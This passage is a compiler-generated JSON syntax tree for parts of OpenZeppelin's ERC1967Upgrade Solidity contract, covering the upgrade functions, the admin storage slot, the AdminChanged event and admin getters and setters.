26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46809,"name":"_setImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46803,"src":"1963:18:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1963:37:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46812,"nodeType":"ExpressionStatement","src":"1963:37:26"},{"eventCall":{"arguments":[{"id":46814,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46806,"src":"2024:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46813,"name":"Upgraded","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46766,"src":"2015:8:26","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2015:27:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46816,"nodeType":"EmitStatement","src":"2010:32:26"}]},"documentation":{"id":46804,"nodeType":"StructuredDocumentation","src":"1797:95:26","text":" @dev Perform implementation upgrade\n Emits an {Upgraded} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeTo","nameLocation":"1906:10:26","parameters":{"id":46807,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46806,"mutability":"mutable","name":"newImplementation","nameLocation":"1925:17:26","nodeType":"VariableDeclaration","scope":46818,"src":"1917:25:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46805,"name":"address","nodeType":"ElementaryTypeName","src":"1917:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1916:27:26"},"returnParameters":{"id":46808,"nodeType":"ParameterList","parameters":[],"src":"1953:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":46848,"nodeType":"FunctionDefinition","src":"2183:295:26","nodes":[],"body":{"id":46847,"nodeType":"Block","src":"2311:167:26","nodes":[],"statements":[{"expression":{"arguments":[{"id":46829,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46821,"src":"2332:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46828,"name":"_upgradeTo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46818,"src":"2321:10:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46830,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2321:29:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46831,"nodeType":"ExpressionStatement","src":"2321:29:26"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":46837,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":46835,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":46832,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46823,"src":"2364:4:26","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":46833,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2369:6:26","memberName":"length","nodeType":"MemberAccess","src":"2364:11:26","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":46834,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2378:1:26","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2364:15:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"id":46836,"name":"forceCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46825,"src":"2383:9:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2364:28:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":46846,"nodeType":"IfStatement","src":"2360:112:26","trueBody":{"id":46845,"nodeType":"Block","src":"2394:78:26","statements":[{"expression":{"arguments":[{"id":46841,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46821,"src":"2437:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":46842,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46823,"src":"2456:4:26","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":46838,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48259,"src":"2408:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$48259_$","typeString":"type(library Address)"}},"id":46840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2416:20:26","memberName":"functionDelegateCall","nodeType":"MemberAccess","referencedDeclaration":48192,"src":"2408:28:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory) returns (bytes memory)"}},"id":46843,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2408:53:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":46844,"nodeType":"ExpressionStatement","src":"2408:53:26"}]}}]},"documentation":{"id":46819,"nodeType":"StructuredDocumentation","src":"2055:123:26","text":" @dev Perform implementation upgrade with additional setup call.\n Emits an {Upgraded} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeToAndCall","nameLocation":"2192:17:26","parameters":{"id":46826,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46821,"mutability":"mutable","name":"newImplementation","nameLocation":"2227:17:26","nodeType":"VariableDeclaration","scope":46848,"src":"2219:25:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46820,"name":"address","nodeType":"ElementaryTypeName","src":"2219:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":46823,"mutability":"mutable","name":"data","nameLocation":"2267:4:26","nodeType":"VariableDeclaration","scope":46848,"src":"2254:17:26","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":46822,"name":"bytes","nodeType":"ElementaryTypeName","src":"2254:5:26","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":46825,"mutability":"mutable","name":"forceCall","nameLocation":"2286:9:26","nodeType":"VariableDeclaration","scope":46848,"src":"2281:14:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46824,"name":"bool","nodeType":"ElementaryTypeName","src":"2281:4:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2209:92:26"},"returnParameters":{"id":46827,"nodeType":"ParameterList","parameters":[],"src":"2311:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":46901,"nodeType":"FunctionDefinition","src":"2650:952:26","nodes":[],"body":{"id":46900,"nodeType":"Block","src":"2782:820:26","nodes":[],"statements":[{"condition":{"expression":{"arguments":[{"id":46860,"name":"_ROLLBACK_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46757,"src":"3123:14:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":46858,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"3096:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library StorageSlot)"}},"id":46859,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3108:14:26","memberName":"getBooleanSlot","nodeType":"MemberAccess","referencedDeclaration":48318,"src":"3096:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_BooleanSlot_$48290_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.BooleanSlot storage pointer)"}},"id":46861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3096:42:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_BooleanSlot_$48290_storage_ptr","typeString":"struct StorageSlot.BooleanSlot storage pointer"}},"id":46862,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3139:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48289,"src":"3096:48:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":46898,"nodeType":"Block","src":"3214:382:26","statements":[{"clauses":[{"block":{"id":46883,"nodeType":"Block","src":"3308:115:26","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":46879,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":46877,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46874,"src":"3334:4:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":46878,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46761,"src":"3342:20:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"3334:28:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524331393637557067726164653a20756e737570706f727465642070726f786961626c6555554944","id":46880,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3364:43:26","typeDescriptions":{"typeIdentifier":"t_stringliteral_76b6b6debfc5febf101145a79ecf0b0d2e89e397dfdab2bca99888370411152c","typeString":"literal_string \"ERC1967Upgrade: unsupported proxiableUUID\""},"value":"ERC1967Upgrade: unsupported proxiableUUID"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_76b6b6debfc5febf101145a79ecf0b0d2e89e397dfdab2bca99888370411152c","typeString":"literal_string \"ERC1967Upgrade: unsupported proxiableUUID\""}],"id":46876,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3326:7:26","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":46881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3326:82:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46882,"nodeType":"ExpressionStatement","src":"3326:82:26"}]},"errorName":"","id":46884,"nodeType":"TryCatchClause","parameters":{"id":46875,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46874,"mutability":"mutable","name":"slot","nameLocation":"3302:4:26","nodeType":"VariableDeclaration","scope":46884,"src":"3294:12:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46873,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3294:7:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"3293:14:26"},"src":"3285:138:26"},{"block":{"id":46889,"nodeType":"Block","src":"3430:89:26","statements":[{"expression":{"arguments":[{"hexValue":"45524331393637557067726164653a206e657720696d706c656d656e746174696f6e206973206e6f742055555053","id":46886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3455:48:26","typeDescriptions":{"typeIdentifier":"t_stringliteral_8e8e2fbcb586f700b5b14e2c4a650c8d83b9773c31c5fe8962070ea544e11f24","typeString":"literal_string \"ERC1967Upgrade: new implementation is not UUPS\""},"value":"ERC1967Upgrade: new implementation is not UUPS"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8e8e2fbcb586f700b5b14e2c4a650c8d83b9773c31c5fe8962070ea544e11f24","typeString":"literal_string \"ERC1967Upgrade: new implementation is not UUPS\""}],"id":46885,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3448:6:26","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":46887,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3448:56:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46888,"nodeType":"ExpressionStatement","src":"3448:56:26"}]},"errorName":"","id":46890,"nodeType":"TryCatchClause","src":"3424:95:26"}],"externalCall":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":46869,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46851,"src":"3250:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46868,"name":"IERC1822Proxiable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46710,"src":"3232:17:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC1822Proxiable_$46710_$","typeString":"type(contract IERC1822Proxiable)"}},"id":46870,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3232:36:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC1822Proxiable_$46710","typeString":"contract IERC1822Proxiable"}},"id":46871,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3269:13:26","memberName":"proxiableUUID","nodeType":"MemberAccess","referencedDeclaration":46709,"src":"3232:50:26","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bytes32_$","typeString":"function () view external returns (bytes32)"}},"id":46872,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3232:52:26","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":46891,"nodeType":"TryStatement","src":"3228:291:26"},{"expression":{"arguments":[{"id":46893,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46851,"src":"3550:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":46894,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46853,"src":"3569:4:26","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":46895,"name":"forceCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46855,"src":"3575:9:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":46892,"name":"_upgradeToAndCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46848,"src":"3532:17:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_bool_$returns$__$","typeString":"function (address,bytes memory,bool)"}},"id":46896,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3532:53:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46897,"nodeType":"ExpressionStatement","src":"3532:53:26"}]},"id":46899,"nodeType":"IfStatement","src":"3092:504:26","trueBody":{"id":46867,"nodeType":"Block","src":"3146:62:26","statements":[{"expression":{"arguments":[{"id":46864,"name":"newImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46851,"src":"3179:17:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46863,"name":"_setImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46803,"src":"3160:18:26","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46865,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3160:37:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46866,"nodeType":"ExpressionStatement","src":"3160:37:26"}]}}]},"documentation":{"id":46849,"nodeType":"StructuredDocumentation","src":"2484:161:26","text":" @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.\n Emits an {Upgraded} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_upgradeToAndCallUUPS","nameLocation":"2659:21:26","parameters":{"id":46856,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46851,"mutability":"mutable","name":"newImplementation","nameLocation":"2698:17:26","nodeType":"VariableDeclaration","scope":46901,"src":"2690:25:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46850,"name":"address","nodeType":"ElementaryTypeName","src":"2690:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":46853,"mutability":"mutable","name":"data","nameLocation":"2738:4:26","nodeType":"VariableDeclaration","scope":46901,"src":"2725:17:26","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":46852,"name":"bytes","nodeType":"ElementaryTypeName","src":"2725:5:26","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":46855,"mutability":"mutable","name":"forceCall","nameLocation":"2757:9:26","nodeType":"VariableDeclaration","scope":46901,"src":"2752:14:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46854,"name":"bool","nodeType":"ElementaryTypeName","src":"2752:4:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2680:92:26"},"returnParameters":{"id":46857,"nodeType":"ParameterList","parameters":[],"src":"2782:0:26"},"scope":47065,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":46905,"nodeType":"VariableDeclaration","src":"3802:106:26","nodes":[],"constant":true,"documentation":{"id":46902,"nodeType":"StructuredDocumentation","src":"3608:189:26","text":" @dev Storage slot with the admin of the contract.\n This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n validated in the constructor."},"mutability":"constant","name":"_ADMIN_SLOT","nameLocation":"3828:11:26","scope":47065,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46903,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3802:7:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"hexValue":"307862353331323736383461353638623331373361653133623966386136303136653234336536336236653865653131373864366137313738353062356436313033","id":46904,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3842:66:26","typeDescriptions":{"typeIdentifier":"t_rational_81955473079516046949633743016697847541294818689821282749996681496272635257091_by_1","typeString":"int_const 8195...(69 digits omitted)...7091"},"value":"0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103"},"visibility":"internal"},{"id":46912,"nodeType":"EventDefinition","src":"3987:60:26","nodes":[],"anonymous":false,"documentation":{"id":46906,"nodeType":"StructuredDocumentation","src":"3915:67:26","text":" @dev Emitted when the admin account has changed."},"eventSelector":"7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f","name":"AdminChanged","nameLocation":"3993:12:26","parameters":{"id":46911,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46908,"indexed":false,"mutability":"mutable","name":"previousAdmin","nameLocation":"4014:13:26","nodeType":"VariableDeclaration","scope":46912,"src":"4006:21:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46907,"name":"address","nodeType":"ElementaryTypeName","src":"4006:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":46910,"indexed":false,"mutability":"mutable","name":"newAdmin","nameLocation":"4037:8:26","nodeType":"VariableDeclaration","scope":46912,"src":"4029:16:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46909,"name":"address","nodeType":"ElementaryTypeName","src":"4029:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4005:41:26"}},{"id":46925,"nodeType":"FunctionDefinition","src":"4108:122:26","nodes":[],"body":{"id":46924,"nodeType":"Block","src":"4161:69:26","nodes":[],"statements":[{"expression":{"expression":{"arguments":[{"id":46920,"name":"_ADMIN_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46905,"src":"4205:11:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":46918,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"4178:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library StorageSlot)"}},"id":46919,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4190:14:26","memberName":"getAddressSlot","nodeType":"MemberAccess","referencedDeclaration":48307,"src":"4178:26:26","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$48287_storage_ptr_$","typeString":"function (bytes32) pure returns (struct StorageSlot.AddressSlot storage pointer)"}},"id":46921,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4178:39:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$48287_storage_ptr","typeString":"struct StorageSlot.AddressSlot storage pointer"}},"id":46922,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4218:5:26","memberName":"value","nodeType":"MemberAccess","referencedDeclaration":48286,"src":"4178:45:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":46917,"id":46923,"nodeType":"Return","src":"4171:52:26"}]},"documentation":{"id":46913,"nodeType":"StructuredDocumentation","src":"4053:50:26","text":" @dev Returns the current admin."},"implemented":true,"kind":"function","modifiers":[],"name":"_getAdmin","nameLocation":"4117:9:26","parameters":{"id":46914,"nodeType":"ParameterList","parameters":[],"src":"4126:2:26"},"returnParameters":{"id":46917,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46916,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":46925,"src":"4152:7:26","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46915,"name":"address","nodeType":"ElementaryTypeName","src":"4152:7:26","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"4151:9:26"},"scope":47065,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":46951,"nodeType":"FunctionDefinition","src":"4312:201:26","nodes":[],"body":{"id":46950,"nodeType":"Block","src":"4357:156:26","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":46937,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":46932,"name":"newAdmin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46928,"src":"4375:8:26","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":46935,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4395:1:26","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":46934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4387:7:26","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":46933,"name":"address","nodeType":"ElementaryTypeName","src":"4387:7:26","typeDescriptions":{}}},"id":46936,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4387:10:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"4375:22:26","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"455243313936373a206e65772061646d696e20697320746865207a65726f2061646472657373","id":46938,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4399:40:26","typeDescriptions":{"typeIdentifier":"t_stringliteral_3820e16891102c1360a787e6e648431097d92537f969d458f5c94b56f8318be5","typeString":"literal_string \"ERC1967: new admin is the zero address\""},"value":"ERC1967: new admin is the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3820e16891102c1360a787e6e648431097d92537f969d458f5c94b56f8318be5","typeString":"literal_string \"ERC1967: new admin is the zero address\""}],"id":46931,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4367:7:26","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":46939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4367:73:26","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46940,"nodeType":"ExpressionStatement","src":"4367:73:26"},{"expression":{"id":46948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"arguments":[{"id":46944,"name":"_ADMIN_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46905,"src":"4477:11:26","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":46941,"name":"StorageSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48341,"src":"4450:11:26","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_StorageSlot_$48341_$","typeString":"type(library 